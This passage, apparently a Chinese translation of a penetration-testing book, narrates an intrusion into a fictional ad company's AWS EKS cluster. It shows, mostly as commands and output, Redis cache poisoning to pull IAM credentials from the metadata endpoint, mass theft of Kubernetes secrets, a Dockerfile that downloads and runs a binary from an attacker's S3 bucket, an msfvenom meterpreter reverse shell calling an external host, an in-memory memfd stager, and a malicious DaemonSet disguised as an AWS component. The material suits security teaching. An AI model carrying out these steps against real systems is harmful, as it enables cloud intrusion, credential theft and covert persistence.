Key: jar/maven/artifact/org.apache.commons-collections/commons-collections/3.3.2
`--snip--`

我们找到了 commons-collections 版本 3.3.2,差一点就能成功了。我们本可以尝试盲目利用,假设该存储桶仍然使用本地的旧版本 commons-collections 库,但胜算不大,因此我们继续向前推进。

缓存投毒

我们继续探索 Redis 缓存中的其他密钥,希望能获得一些新的灵感:

shell> **head -100 all_redis_keys.txt**
vast_c88b4ab3d_19devear
select_3799ec543582b38c
`vast_c88b4ab3d_19devear`
`--snip--`

我们列出密钥 vast_c88b4ab3d_19devear 的内容,这次找到了一个 URL:

shell> **redis -h 10.59.12.47 get vast_c88b4ab3d_19devear**
https://www.goodadsby.com/vast/preview/9612353

VAST(视频广告服务模板)是一个标准的 XML 模板,用于向浏览器视频播放器描述广告内容,包括媒体下载的位置、要发送的跟踪事件、在多少秒后、发送到哪个端点等等。以下是一个 VAST 文件的示例,指向存储在 s4d.mxards.com 上的名为“Exotic Approach”的广告视频文件:

<VAST version="3.0">
<Ad id="1594">
  <InLine>
    <AdSystem>MXR Ads revolution</AdSystem>
    <AdTitle>Exotic approach</AdTitle>
`--snip--`
    <MediaFile id="134130" type="video/mp4" 
        bitrate="626" width="1280" height="720">
       http://s4d.mxrads.com/43ed9014730cb/12ad82436/vid/720/88b4a1cf2.mp4
`--snip--`

XML 解析器可以是非常挑剔的怪物——只要标签错误,整个系统就会崩溃。解析器会将比原文件还要大的堆栈追踪信息输出到标准错误输出中。出现了许多异常需要被正确处理……并且记录日志!

你能明白我想表达的意思吗?我们已经获得了访问处理与广告投放相关的应用日志的 pod。如果我们将 VAST URL 替换为例如返回 JSON/文本格式的元数据 API URL,应用程序是否会向 Elasticsearch 审计存储发送详细错误,我们可以查看?

只有一个办法能弄清楚。我们将十几个有效的 VAST URL 替换为臭名昭著的端点 URL http://169.254.169.254/latest/meta-data/iam/info,如下所示:

shell> **redis -h 10.59.12.47 set vast_c88b4ab3d_19devear\**
**http://169.254.169.254/latest/meta-data/iam/info**
OK

这个元数据端点应该返回一个 JSON 响应,包含附加到运行 ads-rtb pod 的节点上的 IAM 角色。我们知道角色存在,因为 EKS 要求它。附加分数:这个角色有一些有趣的权限。

大约需要 10 分钟才能触发一个被毒化的缓存条目,但我们最终得到了我们期待的详细错误信息。我们可以通过搜索 MXR Ads 的 AWS 账户 ID 886371554408 来定位日志索引中的错误:

shell> **curl "10.20.86.24:9200/log/_search?pretty&size=10&q=message: 886371554408"**

"level": "Critical"
"message": "...\"InstanceProfileArn\" : 
\" arn:aws:iam::886477354405:instance-profile/eks-workers-prod-common-NodeInstanceProfile-
BZUD6DGQKFGC\"...org.xml.sax.SAXParseException...Not valid XML file"

触发查询的 pod 正在运行具有 IAM 角色 eks-workers-prod-common-NodeInstanceProfile-BZUD6DGQKFGC。我们现在要做的就是再次毒化 Redis 缓存,但这次需要将角色名附加到 URL 上,以便获取其临时访问密钥:

shell> **redis -h 10.59.12.47 set vast_c88b4ab3d_19devear\**
**http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-workers-prod-common-NodeInstanceRole-BZUD6DGQKFGC**
OK

几分钟后,我们终于得到了梦寐以求的奖品,有效的 AWS 访问密钥,具有 EKS 节点权限,并且可以在日志索引中看到:

shell> **curl "10.20.86.24:9200/log/_search?pretty&size=10&q=message: AccessKeyId"**

"level": "Critical"
"message": "...\"AccessKeyId\" : \"ASIA44ZRK6WS3R64ZPDI\", \"SecretAccessKey\" :
\"+EplZs...org.xml.sax.SAXParseException...Not valid XML file"

根据 AWS 文档,附加到 Kubernetes 节点的默认角色将具有基本的 EC2 权限,以发现其环境:describe-instancesdescribe-security-groupsdescribe-volumesdescribe-subnets 等。让我们试一下这些新凭证,并列出 eu-west-1 区域(爱尔兰)的所有实例:

root@Point1:~/# vi ~/.aws/credentials
[node]
aws_access_key_id = ASIA44ZRK6WS3R64ZPDI
aws_secret_access_key = +EplZsWmW/5r/+B/+J5PrsmBZaNXyKKJ
aws_session_token = AgoJb3JpZ2luX2...

root@Point1:~/# aws ec2 describe-instances \
**--region=eu-west-1 \**
**--profile node**
`--snip--`
"InstanceId": "i-08072939411515dac",
"InstanceType": "c5.4xlarge",
"KeyName": "kube-node-key",
"LaunchTime": "2019-09-18T19:47:31.000Z",
"PrivateDnsName": "ip-192-168-12-33.eu-west-1.compute.internal",
"PrivateIpAddress": "192.168.12.33",
"PublicIpAddress": "34.245.211.33",
"StateTransitionReason": "",
"SubnetId": "subnet-00580e48",
"Tags": [
  {
  "Key": "k8s.io/cluster-autoscaler/prod-euw1",
  "Value": "true"
  }],
`--snip--`

一切看起来都很顺利。我们得到了大约 700 台 EC2 机器的完整描述,包括私有和公共 IP 地址、防火墙规则、机器类型等。虽然这是很多机器,但对于像 MXR Ads 这样规模的公司来说,这个数字相对较小。有什么地方不对劲。

我们获得的所有机器都有一个特殊标签 k8s.io/cluster-autoscaler/prod-euw1。这是 autoscaler 工具(github.com/kubernetes/autoscaler/)常用的标签,用于标记那些可以在 pod 活动较低时被销毁的可丢弃节点。MXR Ads 可能利用了这个标签来限制分配给 Kubernetes 节点的默认权限范围。确实非常聪明。

有讽刺意味的是,标签泄露了 Kubernetes 集群的名称 (prod-euw1),这是调用 describeCluster API 时所需的一个参数。那么我们就调用 describeCluster 吧:

root@Point1:~/# export AWS_REGION=eu-west-1
root@Point1:~/# aws eks describe-cluster --name prod-euw1 --profile node
{  "cluster": {
  1 "endpoint": "https://BB061F0457C63.yl4.eu-west-1.eks.amazonaws.com",
  2 "roleArn": "arn:aws:iam::886477354405:role/eks-prod-role",
    "vpcId": "vpc-05c5909e232012771",
    "endpointPublicAccess": false,
    "endpointPrivateAccess": true,
`--snip--`

API 服务器是那个长得很方便的 URL,名为 endpoint 1。在一些罕见的配置下,它可能会暴露在互联网中,这样就可以更加方便地查询或更改集群的期望状态。

我们获得的这个角色可以做的远不止仅仅探索 Kubernetes 资源。在默认设置下,这个角色有权将任何安全组附加到集群中的任何节点上。既然我们已经被授予了这个角色,我们只需要找到一个暴露所有端口到互联网的现有安全组——这种安全组总是存在——并将其分配给托管我们当前 shell 的机器。

不过,事情并不像想象的那么简单。虽然可能很诱人将我们手工制作的基于 S3 的反向 shell 升级为完整的双工通信通道,但很可能 MXR Ads 通过声明理想中应该运行的机器数量、网络配置和分配给每台机器的安全组来 Terraform 了他们的 Kube 集群。如果我们更改这些参数,下一次运行 terraform plan 命令时就会标记出变化。允许所有流量进入随机节点的安全组只会引发我们宁愿避免的问题。

我们继续玩弄附加到 Kube 节点的角色,但很快就达到了极限。它被严格限制到几乎失去了任何兴趣。我们只能描述集群组件的基本信息。我们无法访问机器的用户数据,几乎无法在不引起警报的情况下更改任何东西。

想想看,为什么我们只将这个节点视为 AWS 资源?它首先是一个 Kubernetes 资源,而且是一个特权资源。这个节点在 AWS 环境中可能只有可笑的权限,但在 Kubernetes 世界中,它是一个至高无上的存在,因为它在其领域内对 pods 拥有生死权。

如前所述,每个节点都有一个运行中的过程叫做 kubelet,它会轮询 API 服务器以生成或终止新 pod。运行的容器意味着挂载卷、注入密钥...它是如何实现这种级别的访问权限的?

答案:通过节点的实例配置文件——也就是我们一直在操作的那个角色。

当你在 EKS 上设置 Kubernetes 集群时,第一个要配置的内容之一是在启动节点之前,将节点 IAM 角色名称添加到 system:nodes 组中。该组绑定到 Kubernetes 角色 system:node,该角色对各种 Kube 对象具有读取权限:服务、节点、Pods、持久卷以及其他 18 种资源!

我们所要做的就是请求 AWS 将我们的 IAM 访问密钥转换为有效的 Kubernetes 令牌,这样我们就可以作为 system:nodes 组的有效成员查询 API 服务器。为此,我们调用 get-token API:

root@Point1:~/# aws eks get-token --cluster-name prod-euw1 --profile node
{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1alpha1",
    "status": {
        "expirationTimestamp": "2019-11-14T21:04:23Z",
        "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMuYW1hem..."
    }
}

我们这次获得的令牌不是标准的 JWT;相反,它包含了调用 STS 服务的 GetCallerIdentity API 所需的构建块。让我们使用 jqcutbase64sed 等工具解码我们之前获得的部分令牌:

root@Point1:~/# aws eks get-token --cluster-name prod-euw1 \
**| jq -r .status.token \**
**| cut -d"_" -f2 \**
**| base64 -d \**
**| sed "s/&/\n/g"**

https://sts.amazonaws.com/?Action=GetCallerIdentity
&Version=2011-06-15
&X-Amz-Algorithm=AWS4-HMAC-SHA256
&X-Amz-Credential=ASIA44ZRK6WSYQ5EI4NS%2F20191118/us-east-1/sts/aws4_request
&X-Amz-Date=20191118T204239Z
&X-Amz-Expires=60
&X-Amz-SignedHeaders=host;x-k8s-aws-id
&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEIX/////...

JWT 实际上是一个编码过的预签名 URL,包含节点的身份。任何人都可以重新播放这个 URL 来验证该节点是否确实是它声称的那样。EKS 接收到这个令牌时,正是这么做的。正如 AWS IAM 通过 JWT 信任 OpenID 来识别和认证 Kube 用户一样,EKS 也通过 Web 调用 sts.amazon.com 端点信任 IAM 来做同样的事情。

我们可以像之前一样使用这个令牌通过 curl 命令向 API 服务器发起请求,但我们最好生成一个完整的 Kubectl 配置文件,将其下载到我们那个值得信赖的 Pod 中:

root@Point1:~/# aws eks update-kubeconfig --name prod-euw1 --profile node

Updated context arn:aws:eks:eu-west-1:886477354405:cluster/prod-euw1 in /root/.kube/config
shell> **wget https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/config**

shell> **mkdir -p /root/.kube && cp config /root/.kube/**

测试我们是否获得新权限的一个快速方法是列出 kube-system 命名空间中的 Pods。这个命名空间包含了主控 Pod —— kube api-server、etcd、coredns —— 以及其他用于管理 Kubernetes 的关键 Pod。记住,我们之前的令牌仅限于 prod 命名空间,因此获得对 kube-system 的访问权限将是一个巨大的进步:

shell> **kubectl get pods -n kube-system**

NAME                       READY   STATUS    RESTARTS   AGE
aws-node-hl227             1/1     Running   0          82m
aws-node-v7hrc             1/1     Running   0          83m
coredns-759d6fc95f-6z97w   1/1     Running   0          89m
coredns-759d6fc95f-ntq88   1/1     Running   0          89m
kube-proxy-724jd           1/1     Running   0          83m
kube-proxy-qtc22           1/1     Running   0          82m
`--snip--`

我们成功列出了 Pods!太棒了!显然,由于我们处于托管的 Kubernetes 中,最重要的 Pods(kube-apiserver、etcd、kube-controller-manager)被 Amazon 隐藏起来,但其余的 Pods 还是能看到。

Kube 权限提升

让我们好好利用我们新的权限。我们要做的第一件事是获取 Kube 中定义的所有秘密;然而,当我们尝试时,我们发现即使 system:nodes 组理论上有权限这么做,它也不能随意请求秘密:

shell> **kubectl get secrets --all-namespaces**

Error from server (Forbidden): secrets is forbidden:
User "system:node:ip-192-168-98-157.eu-west-1.compute.internal" cannot list
resource "secrets" in API group "" at the cluster scope: can only read
namespaced object of this type

在 Kubernetes 1.10 版本中引入了一项安全特性,限制了节点的过度权限:节点授权。此特性基于经典的基于角色的访问控制之上。一个节点只能在该节点上有需要该秘密的调度 Pods 时,才能获取该秘密。当这些 Pods 被终止时,节点就会失去访问该秘密的权限。

不过,没必要惊慌。任何随机节点通常都会在任何给定时刻托管数十个,甚至上百个不同的 pod,每个 pod 都有其自己的秘密、数据卷等等。也许今天晚上 11 点,我们的节点只能获取到一个虚拟数据库的密码,但给它 30 分钟,kube-scheduler 可能会将一个具有集群管理员权限的 pod 发送到该节点。关键在于在合适的时刻,处于合适的节点。我们列出当前机器上运行的 pods,以找出我们有权获取哪些秘密:

shell> **kubectl get pods --all-namespaces --field-selector\**
**spec.nodeName=ip-192-168-21-116.eu-west-1.compute.internal**

prod    ads-rtb-deployment-13fe-3evx   1/1  Running
prod    ads-rtb-deployment-12dc-5css   1/1  Running
prod    kafka-feeder-deployment-23ee   1/1  Running
staging digital-elements-deploy-83ce   1/1  Running
test    flask-deployment-5d76c-qb5tz   1/1  Running
`--snip--`

这个单一节点托管着大量异构的应用。看起来很有希望。这个节点很可能能够访问大量跨不同组件的秘密。我们使用自定义解析器自动列出每个 pod 加载的秘密:

shell> .**/kubectl get pods -o="custom-columns=\**
**NS:.metadata.namespace,\**
**POD:.metadata.name,\**
**ENV:.spec.containers[*].env[*].valueFrom.secretKeyRef,\**
**FILESECRET:.spec.volumes[*].secret.secretName" \**
**--all-namespaces \**
**--field-selector spec.nodeName=ip-192-168-21-116.eu-west-1.compute.internal**

NS       POD             ENV                FILESECRET
prod     kafka...        awsUserKafka       kafka-token-653ce
prod     ads-rtb...      CassandraDB        default-token-c3de
prod     ads-rtb...      CassandraDB        default-token-8dec
staging  digital...      GithubBot          default-token-88ff
test     flask...        AuroraDBTest       default-token-913d
`--snip--`

一个宝藏!Cassandra 数据库、AWS 访问密钥、服务账户、Aurora 数据库密码、GitHub 令牌、更多的 AWS 访问密钥……这还是真的吗?我们使用相当明确的命令kubectl get secret下载(并解码)每一个秘密,如下所示:

shell> **./kubectl get secret awsUserKafka  -o json -n prod \**
**| jq .data**
  "access_key_id": "AKIA44ZRK6WSSKDSKQDZ",
  "secret_key_id": "93pLDv0FlQXnpyQSQvrMZ9ynbL9gdNkRUP1gO03S"

shell> **./kubectl get secret githubBot -o json -n staging\**
**|jq .data**
  "github-bot-ro": "9c13d31aaedc0cc351dd12cc45ffafbe89848020"

shell> **./kubectl get secret kafka-token-653ce -n prod -o json | jq -r .data.token**
"ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklpSjkuZ...

看看我们正在获取的所有这些凭证和令牌!而且我们还没有完成,远远没有。看看,这只是一个恰巧运行着不安全 Redis 容器的 ads-rtb pod 的节点。还有 200 个类似的 pods 分布在 700 台机器上,都会受到相同的缓存污染技术的影响。

这种黑客攻击的公式很简单:定位这些 pods(使用get pods命令),连接到 Redis 容器,替换一些 VAST URL 为元数据 API,收集溢出到审计数据库的机器临时 AWS 密钥,将它们转换为 Kubernetes 令牌,然后获取由节点上运行的 pods 加载的秘密。

我们重复这一过程,检查每个节点,直到在输出中注意到一些非常有趣的东西:

shell> **./kubectl get pods -o="custom-columns=\**
**NS:.metadata.namespace,\**
**POD:.metadata.name,\**
**ENV:.spec.containers[*].env[*].valueFrom.secretKeyRef,\**
**FILESECRET:.spec.volumes[*].secret.secretName" \**
**--all-namespaces \**
**--field-selector spec.nodeName=ip-192-168-133-34.eu-west-1.compute.internal**

NS              POD             ENV            FILESECRET
1 kube-system     tiller          <none>         tiller-token-3cea
prod            ads-rtb...      CassandraDB    default-token-99ed

我们碰上了幸运的节点编号 192.168.133.34 1,它表示托管了一些属于强大kube-system命名空间的 pods。这个 tiller pod 有 90%的可能性具有集群管理员权限。它在helm v2中扮演着核心角色,这是一个用于在 Kubernetes 上部署和管理应用的包管理器。我们伪装成这个节点并下载 tiller 的服务账户令牌:

root@Point1:~/# aws eks update-kubeconfig --name prod-euw1 --profile node133
`--snip--`
shell> **./kubectl get secret tiller-token-3cea \**
**-o json \**
**--kubeconfig ./kube/config_133_34 \**
**| jq -r .data.token**

ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklpSjkuZXlKcGMzTWlPaU...

拿到这个强大的账户后,我们可以用一个命令获取所有秘密。去他妈的节点授权!我们将账户令牌写入一个有效的 Kubectl 配置文件,命名为tiller_config,并用它来查询集群:

shell> **kubectl get secrets \**
**--all-namespaces \**
**-o json \**
**--kubeconfig ./kube/tiller_config**

"abtest_db_user": "abtest-user-rw",
"abtest_db_pass": "azg3Wk+swUFpNRW43Y0",
"api_token": "dfb87c2be386dc11648d1fbf5e9c57d5",
"ssh_metrics": "--- BEGIN SSH PRIVATE KEY --- ..."
"github-bot-ro": "9c13d31aaedc0cc351dd12cc45ffafbe89848020"

从中,我们获取了 100 多个凭证,涵盖了几乎所有的数据库:Cassandra、MySQL,等等。如果它与广告投放相关,放心,我们有办法访问它。我们甚至恢复了一些 SSH 私钥。我们还不知道如何使用它们,但这应该不需要我们太久就能弄明白。

我们还获得了几把有效的 AWS 访问密钥,其中一把属于名为 Kevin Duncan 的开发人员。这将非常有用。我们将其添加到我们的凭证文件中,并执行一次 API 调用以确认它们确实有效:

root@Point1:~/# vi ~/.aws/credentials
[kevin]
aws_access_key_id = AKIA44ZRK6WSSKDSKQDZ
aws_secret_access_key = 93pLDv0FlQXnpy+EplZsWmW/5r/+B/+KJ

root@Point1:~/# aws iam get-user --profile kevin
 "User": {
    "Path": "/",
    "UserName": "kevin.duncan",
    "Arn": "arn:aws:iam::886371554408:user/kevin.duncan",

最后,我们还确保获取了属于github-bot-ro的 GitHub 令牌。我们通过执行以下几行 Python 代码,确保它仍然有效:

root@Point1:~/# python3 -m pip install PyGithub
root@Point1:~/# python3

>>> **from github import Github**
>>> **g = Github("9c13d31aaedc0cc351dd12cc45ffafbe89848020")**
>>> **print(g.get_user().name)**
mxrads-bot-ro

他们最终是对的。Kubernetes 确实很有趣!

我们可以安全地说,目前我们掌控着 MXR Ads 的交付基础设施。我们仍然不知道个人资料定向是如何工作的,或者 Gretsch Politico 的最终客户是谁,但我们可以修改、删除和阻止他们的所有活动—可能还包括更多操作。

在我们深入这个“兔子洞”之前,我们需要巩固我们辛苦取得的立足点。容器具有很高的波动性,可能会使我们当前的访问权限面临风险。只需要重新部署一次调查应用程序,就能终止我们的 Shell 访问—这样,我们对 MXR Ads 的 Kubernetes 集群的主要入口点也将消失。

资源

第九章:粘性 Shell

在处理像 Kubernetes 这样的波动性和可再生基础设施时,持久性变得具有全新的意义。容器和节点往往被视为不可变且一次性使用的对象,随时可能消失。

这种波动性在 AWS 机器上因使用名为 spot 实例 的特殊类型而进一步加剧。以常规价格的约 40% 费用,公司可以启动几乎任何可用类型的 spot 实例。关键是,AWS 拥有在需要计算资源时随时收回机器的权力。虽然这种配置对于 Kubernetes 集群来说似乎是理想的,在这种集群中,容器可以自动迁移到健康的机器上,新节点在几秒钟内重新生成,但这确实给可靠的长期后门带来了新的挑战。

持久性曾经是通过植入二进制文件、在机器上运行秘密的 shell 以及植入安全 Shell (SSH) 密钥来实现的。这些方法在一个机器平均寿命只有几个小时的世界里,无法提供稳定的长期访问。

好消息是,使用 100% spot 实例来构建集群的风险如此之大,以至于没有任何严肃的公司会设置这样的集群——至少不会用于处理关键工作负载。如果 AWS 突然大幅回收资源,集群可能无法迅速扩展以满足客户需求。因此,一种常见的成本效益策略是在一组常规实例的基础上安排关键工作负载的稳定部分,并通过 spot 实例吸收流量波动。

对于这样一个波动的基础设施,一种懒惰的后门方式是定位这批珍贵的机器——它们通常是集群中最旧的机器——并使用老式方法给它们设置后门。我们可以设置一个定时任务,定期拉取并执行反向 shell。我们可以使用 二进制植入,即替换 ls、Docker 和 SSHD 等常用工具,使用能够执行远程代码、授予 root 权限并执行其他恶作剧操作的变体。我们还可以插入 rootkit,它指的是任何对系统(如库、内核结构等)的修改,允许或维持访问权限(你可以查看一个在 Linux 上的示例 rootkit:github.com/croemheld/lkm-rootkit/)。

在列表 9-1 中,我们获取机器并按创建时间戳对它们进行排序。

shell> `./kubectl get nodes –sort-by=.metadata.creationTimestamp`

Name
ip-192-168-162-15.eu-west-1....   Ready  14 days
ip-192-168-160-34.eu-west-1....   Ready  14 days
ip-192-168-162-87.eu-west-1....   Ready  14 days
ip-192-168-162-95.eu-west-1....   Ready  12 days
ip-192-168-160-125.eu-west-1....  Ready   9 days
`--snip--`

列表 9-1:查找最旧的节点,以定位集群中的稳定部分

每个节点支持不同的服务,因此对这些节点进行后门攻击,至少能确保我们有几天的访问权限。然后,shell 会随着节点的消失而自动消失,埋葬我们所有的痕迹。这简直是完美的犯罪。

但是,如果几天的时间还不足以找到侵入 Gretsch Politico 网络的方法呢?我们能否以某种方式保持更长时间的访问?毕竟,我们正处于一个可以自我适应和自我修复的环境中。如果它修复了我们的后门,那不就是一种奇迹吗?

如果我们开始把后门看作一个容器或一个 Pod,那么也许我们可以利用 Kubernetes 的黑暗魔法,确保至少有一个副本始终在某个地方运行。然而,这种雄心壮志的风险不能掉以轻心。Kubernetes 提供了关于其所有组件的荒谬级别的洞察和指标,因此使用一个实际的 Kubernetes Pod 作为我们的后门,会让我们保持低调变得有些棘手。

持久性始终是权衡的游戏。我们是应该为了更持久的访问牺牲隐秘性,还是保持非常低的曝光度,接受在最轻微的波动下失去辛苦获得的 shell?对于这个问题,每个人都有不同的看法,这将取决于多个因素,比如他们对攻击基础设施匿名性的信心、目标的安全等级、风险承受能力等等。

然而,这个表面上看似不可能的难题有一个显而易见的解决方案:具有不同属性的多个后门。我们将同时拥有一个稳定而略显普通的后门和一个隐秘但不稳定的 shell。第一个后门将由一个巧妙隐藏在眼前的 Pod 组成,它作为我们的主要操作中心。这个 Pod 将定期向家中发送信号,寻找要执行的命令。这也提供了直接的互联网连接,而我们当前的 shell 缺乏这一点。无论因何种原因,它一旦被摧毁,Kube 将迅速将其恢复。与第一个后门并行,我们将部署另一个更隐秘的程序,直到我们发送一个预定义的信号,它才会恢复。这为我们提供了一个秘密的方式,万一我们的第一个后门被好奇的管理员发现,可以重新进入系统。

这些多个后门不应共享任何妥协的指示:它们将联系不同的 IP,使用不同的技术,运行不同的容器,并彼此完全隔离。一个调查员发现某个种子具有特定属性时,不应能够利用这些信息找到其他后门。从理论上讲,一个后门的失败不应使其他后门面临风险。

稳定访问

稳定的后门将能够,例如,在可用的数百个节点中的少数几个上运行。这个流氓容器将是一个精简的镜像,在启动时加载并执行一个文件。我们将使用 Alpine,一个大约 5MB 的最小化发行版,通常用于启动容器。

在 Listing 9-2 中,我们首先编写 Dockerfile 以在 Alpine 容器内下载并运行一个任意文件。

#Dockerfile

FROM alpine

CMD ["/bin/sh", "-c",
"wget https://amazon-cni-plugin-essentials.s3.amazonaws.com/run
-O /root/run && chmod +x /root/run && /root/run"]

Listing 9-2: 一个 Dockerfile,用于构建一个容器,在启动后下载并运行一个可执行文件

由于 MXR Ads 是 S3 的忠实粉丝,我们从我们拥有的一个 S3 存储桶中拉取未来的二进制文件,我们将其背叛性地命名为 amazon-cni-plugin-essentials(稍后会详细解释这个名称)。

该二进制文件(也称为代理)可以是你最喜欢的自定义或样板反向 shell。有些黑客甚至不介意在 Linux 主机上运行一个原生 meterpreter 代理。正如第一章所述,我们构建的攻击框架是可靠且稳定的,很少有公司愿意投资昂贵的端点检测响应解决方案来保护他们的 Linux 服务器,尤其是在 Kubernetes 集群中的短暂机器上。这使得像 Metasploit 这样的现成漏洞利用框架成为一个合理的选择。

尽管如此,我们还是保持谨慎,花费几秒钟构建一个可靠的负载,避免触发潜在的隐藏安全机制。

我们前往实验室并生成一个无阶段的原生 HTTPS meterpreter。无阶段负载是完全自包含的,不需要从互联网下载额外的代码来启动。meterpreter 直接注入我们选择的 ELF/PE 二进制文件的.text部分(前提是模板文件有足够的空间)。在列表 9-3 中,我们选择了/bin/ls二进制文件作为模板,并将反向 shell 嵌入其中。

root@Point1:~/# docker run -it phocean/msf ./msfvenom -p \
**linux/x64/meterpreter_reverse_https \**
**LHOST=54.229.96.173 \**
**LURI=/msf \**
**-x /bin/ls**
**LPORT=443 -f elf > /opt/tmp/stager**

[*] Writing 1046512 bytes to /opt/tmp/stager...

列表 9-3:将 meterpreter 嵌入常规的/bin/ls可执行文件中

很简单。现在,我们希望不是像传统二进制文件那样从磁盘运行该文件,而是仅通过内存触发其执行,以规避潜在的安全解决方案。如果负载是常规的 shellcode,而不是一个实际的二进制文件,我们只需要将其复制到一个可读/写/执行的内存页中,然后跳转到负载的第一个字节。

然而,由于我们的meterpreter_reverse_https负载生成一个完整的 ELF 二进制文件,反射地将其加载到内存中需要一些额外的工作:我们必须手动加载导入的 DLL 并解析本地偏移量。有关如何处理此问题的更多信息,请查看本章末尾的资源。幸运的是,Linux 3.17 引入了一个系统调用工具,它提供了一种更快速的方式来实现相同的结果:memfd

此系统调用创建一个完全驻留在内存中的虚拟文件,并表现得像任何常规磁盘文件。通过使用虚拟文件的符号链接/proc/self/fd/,我们可以打开虚拟文件,修改它,截断它,当然,也可以执行它!

以下是执行此操作的五个主要步骤:

  1. 使用 XOR 操作加密原生 meterpreter 负载。

  2. 将结果存储在 S3 存储桶中。

  3. 创建一个下载加密负载的程序,该程序通过 HTTPS 在目标机器上执行。

  4. 在内存中解密负载,并使用 memfd 系统调用初始化一个“匿名”文件。

  5. 将解密后的负载复制到这个仅驻留在内存中的文件中,然后执行它。

列表 9-4 是我们的 stager 将执行的主要步骤的简化版——像往常一样,完整的代码托管在 GitHub 上。

func main() {
  // Download the encrypted meterpreter payload
  data, err := getURLContent(path)

  // Decrypt it using XOR operation
  decryptedData := decryptXor(data, []byte("verylongkey"))

  // Create an anonymous file in memory
  mfd, err := memfd.Create()

  // Write the decrypted payload to the file
  mfd.Write(decryptedData)

  // Get the symbolic link to the file
  filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd())

  // Execute the file
  cmd := exec.Command(filePath)
  out, err := cmd.Run()
}

列表 9-4:Stager 的高级操作

就这些了。我们不需要进行任何复杂的偏移计算、库热加载、程序链接表(PLT)段的修补或其他危险的技巧。我们有一个可靠的引导程序,它只在内存中执行文件,并且保证能够在任何最近的 Linux 发行版上运行。

我们编译代码,然后将其上传到 S3:

root@Point1:**opt/tmp/# aws s3api put-object \**
**--key run \**
**--bucket amazon-cni-plugin-essentials \**
**--body ./run**

最后,为了进一步增强骗局的网络,当我们构建容器的镜像并将其推送到我们自己的 AWS ECR 注册表时(ECR 相当于 AWS 上的 Docker Hub),我们是在伪装成一个合法的 Amazon 容器,即 amazon-k8s-cni:

root@Point1:~/# docker build \
**-t 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3 .**

Successfully built be905757d9aa
Successfully tagged 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3

# Authenticate to ECR
root@Point1:~/# $(aws ecr get-login --no-include-email --region eu-west-1)
root@Point1:~/# docker push 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3

假容器(amazon-k8s-cni)和 S3 存储桶(amazon-cni-plugin-essentials)的名称并非随意选择。EKS 在每个节点上运行一个类似的容器副本,用于管理 Pod 和节点的网络配置,正如我们从任何运行中的集群中获取的 Pod 列表所见:

shell> **kubectl get pods -n kube-system | grep aws-node**
aws-node-rb8n2            1/1     Running   0          7d
aws-node-rs9d1            1/1     Running   0          23h
`--snip--`

这些名为 aws-node-xxxx 的 Pod 正在运行托管在 AWS 自有仓库中的官方 amazon-k8s-cni 镜像。

这些 Pod 是由一个 DaemonSet 对象创建的,这是一个 Kubernetes 资源,确保在所有(或部分)节点上始终运行至少一个给定的 Pod 副本。每个这些 aws-node Pod 都分配了一个具有只读访问权限的服务帐户,可以访问所有命名空间、节点和 Pod。更重要的是,它们都自动挂载了 /var/run/docker.sock,赋予它们对主机的 root 权限。这是一个完美的掩护。

我们将生成这个 DaemonSet 的几乎完全相同副本。然而,与真正的 DaemonSet 不同,这个新的 DaemonSet 将从我们自己的 ECR 仓库获取 amazon-k8s-cni Pod 镜像。默认情况下,DaemonSet 会在所有机器上运行。我们不希望出现成千上万的反向 shell 一次性回拨的情况,因此我们只会针对几个节点——例如,三个带有 “kafka-broker-collector” 标签的节点。这是我们邪恶 DaemonSet 的一个合适的目标群体。

以下命令显示机器名称及其标签:

shell> **kubectl get nodes --show-labels**

ip-192-168-178-150.eu-west-1.compute.internal

service=kafka-broker-collector,
beta.kubernetes.io/arch=amd64,
beta.kubernetes.io/instance-type=t2.small, beta.kubernetes.io/os=linux

ip-192-168-178-150.eu-west-1.compute.internal
`--snip--`
ip-192-168-178-150.eu-west-1.compute.internal
`--snip--`

我们已经选择了目标。我们的有效载荷已锁定并准备就绪。下一步是创建 DaemonSet 对象。

无需去寻找 DaemonSet 的 YAML 定义;我们直接导出合法的 aws-node 使用的 DaemonSet,更新容器镜像字段,使其指向我们自己的仓库,修改显示名称(将 aws-node 改为 aws-node-cni),更改容器端口以避免与现有 DaemonSet 的冲突,最后添加标签选择器以匹配 kafka-broker-collector。在 示例 9-5 中,我们重新提交了新修改的文件以进行调度。

shell> **kubectl get DaemonSet aws-node -o yaml -n kube-system > aws-ds-manifest.yaml**

# Replace the container image with our own image
shell> **sed -E "s/image: .*/image: 886477354405.dkr.ecr.eu-west-1.amazonaws.com/\**
**amazon-k8s-cni:v1.5.3/g" -i aws-ds-manifest.yaml**

# Replace the name of the DaemonSet
shell> **sed "s/ name: aws-node/ name: aws-node-cni/g" -i aws-ds-manifest.yaml**

# Replace the host and container port to avoid conflict
shell> **sed -E "s/Port: [0-9]+/Port: 12711/g" -i aws-ds-manifest.yaml**

# Update the node label key and value
shell> **sed "s/ key: beta.kubernetes.io\/os/ key: service/g" -i aws-ds-manifest.yaml**

shell> **sed "s/ linux/ kafka-broker-collector/g" -i aws-ds-manifest.yaml**

示例 9-5:创建我们自己的假 DaemonSet

经过几条 sed 命令后,我们准备好更新的清单,可以将其推送到 API 服务器。

与此同时,我们返回到我们的 Metasploit 容器,设置一个监听器,在端口 443 上提供类型为 meterpreter_reverse_https 的有效载荷,如下所示。这个有效载荷类型当然和我们在本章开始时使用的 msfvenom 命令中的类型是相同的:

root@Point1:~/# docker ps
CONTAINER ID      IMAGE          COMMAND
8e4adacc6e61      phocean/msf    "/bin/sh -c \"init.sh\""

root@Point1:~/# docker attach 8e4adacc6e61
root@fcd4030:/opt/metasploit-framework# ./msfconsole
msf > **use exploit/multi/handler**
msf multi/handler> **set payload linux/x64/meterpreter_reverse_https**
msf multi/handler> **set LPORT 443**
msf multi/handler> **set LHOST 0.0.0.0**
msf multi/handler> **set LURI /msf**
msf multi/handler> **set ExitOnSession false**
msf multi/handler> **run -j**
[*] Exploit running as background job 3

